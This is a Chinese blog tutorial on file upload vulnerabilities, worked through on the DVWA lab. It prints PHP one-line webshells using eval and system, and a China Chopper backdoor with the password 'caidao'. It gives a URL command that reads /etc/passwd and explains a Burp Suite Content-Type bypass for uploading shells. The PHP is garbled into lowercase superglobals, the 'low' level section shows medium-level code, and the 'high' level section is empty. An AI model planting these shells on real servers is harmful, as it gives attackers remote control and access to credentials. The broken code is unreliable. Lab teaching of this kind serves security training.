文件上传漏洞

2022-10-16,

  • 前言

文件上传漏洞就是在web前端对用户上传的文件没有做过滤,攻击者利用此漏洞上传webshell,因此可以远程操控服务器。

  • webshell

小马:一句话木马也称为小马,即整个shell代码只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般都会进行二次编码加密,防止被安全防火墙/入侵系统检测到

1  #eval 使用php函数,例如phpinfo();
2    <?php eval($_request['cmd']);?>
3   http://192.168.152.147/dvwa/hackable/uploads/webshell2.php?cmd=phpinfo();
1 #system 使用linux系统命令,例如ls,cp,rm
2 <?php system($_request['cmd']);?>
3   http://192.168.152.147/dvwa/hackable/uploads/webshell3.php?cmd=cat /etc/passwd
  • 中国菜刀

说明request是在网页端输入变量访问,post则是使用中国菜刀之类的工具连接,是c/s架构

1 <?php @eval($_post['cmd']);?>
  • 环境部署

本实例使用dvwa作为靶场,owasp官网已经将该环境打包成ova文件,直接下载安装即可。

part 1。将dvwa安全级别设置为low。该级别对于上传的文件没有做限制,可以上传任意的文件。

1  <?php     if (isset($_post['upload'])) {              $target_path = dvwa_web_page_to_root."hackable/uploads/";             $target_path = $target_path . basename($_files['uploaded']['name']);             $uploaded_name = $_files['uploaded']['name'];             $uploaded_type = $_files['uploaded']['type'];             $uploaded_size = $_files['uploaded']['size'];              if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){                   if(!move_uploaded_file($_files['uploaded']['tmp_name'], $target_path)) {                                      echo '<pre>';                     echo 'your image was not uploaded.';                     echo '</pre>';                                        } else {                                      echo '<pre>';                     echo $target_path . ' succesfully uploaded!';                     echo '</pre>';                                          }             }             else{                 echo '<pre>your image was not uploaded.</pre>';             }         } ?> 

1、访问,选择【upload】,上传一句话木马。上传成功后提示文件上传成功并显示文件路径

1 <?php @eval($_post['caidao']);?>

 

 2、使用中国菜刀连接,如下图所示,输入一句话木马中的密码’caidao’

 

 右键选择文件管理,即可进入网站文件管理后台。

 

 

part 2。将安全级别设置成medium。该级别对于上传的文件做了mime(多用途互联网邮件扩展)限制,只能上传在content-type为image/jpeg类型文件。当上传php脚本文件时,浏览器将拒绝上传此文件到后台服务器,因此需要使用burpsuite来绕过此限制。

查看文件源码。

 1  <?php
 2     if (isset($_post['upload'])) {
 3 
 4             $target_path = dvwa_web_page_to_root."hackable/uploads/";
 5             $target_path = $target_path . basename($_files['uploaded']['name']);
 6             $uploaded_name = $_files['uploaded']['name'];
 7             $uploaded_type = $_files['uploaded']['type'];
 8             $uploaded_size = $_files['uploaded']['size'];
 9 
10             if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
11 
12 
13                 if(!move_uploaded_file($_files['uploaded']['tmp_name'], $target_path)) {
14                 
15                     echo '<pre>';
16                     echo 'your image was not uploaded.';
17                     echo '</pre>';
18                     
19                   } else {
20                 
21                     echo '<pre>';
22                     echo $target_path . ' succesfully uploaded!';
23                     echo '</pre>';
24                     
25                     }
26             }
27             else{
28                 echo '<pre>your image was not uploaded.</pre>';
29             }
30         }
31 ?> 

此处省去burpsuite的基本设置。上传文件前使用burp拦截数据包,此content-type改为image/jpeg,可以绕过此限制,将php文件上传到后台服务器,如图所示

 

 part3,将安全级别设置为high,此级别将会对上传的文件后缀名进行检验。

《文件上传漏洞.doc》

下载本文的Word格式文档,以方便收藏与打印。